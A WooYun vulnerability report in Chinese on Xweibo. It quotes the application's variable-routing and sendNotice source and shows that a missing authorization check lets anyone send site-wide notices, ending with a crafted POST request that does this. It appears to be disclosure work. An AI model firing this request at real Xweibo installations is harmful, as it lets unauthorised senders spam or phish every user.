WooYun.org

首先xweibo搞了个路由函数，对用户提交的变量做同一的分配控制


	function V($vRoute,$def_v=NULL,$setVar=false){


		static $v;


		if (empty($v)){$v = array();}


		$vRoute = trim($vRoute);





		//强制初始化值


		if ($setVar) {$v[$vRoute] = $def_v;return true;}





		if (!isset($v[$vRoute])){


			$vKey = array('C'=>$_COOKIE,'G'=>$_GET,		'P'=>$_POST,'R'=>$_REQUEST,


						  'F'=>$_FILES,	'S'=>$_SERVER,	'E'=>$_ENV,


						  '-'=>$GLOBALS[V_CFG_GLOBAL_NAME]


			);


			if (empty($vKey['R'])) {


				$vKey['R'] = array_merge($_COOKIE, $_GET, $_POST);


			}


			if ( !preg_match("#^([cgprfse-])(?::(.+))?\$#sim",$vRoute,$m) || !isset($vKey[strtoupper($m[1])]) ){


				trigger_error("Can't parse var from vRoute: $vRoute ", E_USER_ERROR);


				return NULL;


			}


省略





用户操作功能都封装在了action模块中，action.mod.php，找到sendNotice这个action


		function sendNotice() {


			$nowTime = APP_LOCAL_TIMESTAMP;


			$sina_uid = V('p:uid', 0);


			$title = trim(V('p:title', ''));


			$content = trim(V('p:content', ''));


			$available_time = (int)V('p:available_time', $nowTime);


			省略			


			$rst = DR('notice.sendNotice', '', $title, $content, $sina_uid, null, 0, $available_time);


			if (!empty($rst['errno'])) {


				APP::ajaxRst(false, $rst['errno'], $rst['err']);


				exit;


			} else {


				APP::ajaxRst(true, 0);


				exit;


			}


		}





没啥限制额，在看看notice中的功能定义





		$send_all = $sina_uid === 0 ? true : false; //是否发送给全站用户


		


		if (is_null($sina_uid)) {


			$sina_uid = array();


		} else if (!is_array($sina_uid)) {


			$sina_uid = (array)$sina_uid;


		}


... ...


		$data = array();


		$data['sender_id'] = $sender_id;


		$data['title'] = $title;


		$data['content'] = $content;


		$data['add_time'] = APP_LOCAL_TIMESTAMP;


		$data['available_time'] = empty($available_time) ? APP_LOCAL_TIMESTAMP : $available_time;


		


		$notice_id = $this->db->save($data, 0, T_NOTICE);


		if ($notice_id === false) {


			return RST(false, 1210004, '发送失败，请重试');


		}





直接构造利用这个action


POST /?m=api/weibo/action.sendNotice&_=1331620238391 HTTP/1.1


.. ..





uid=[改为0为群发，其他用户uid为单独发送]&title=[标题]&content=[内容]&available_time=123123123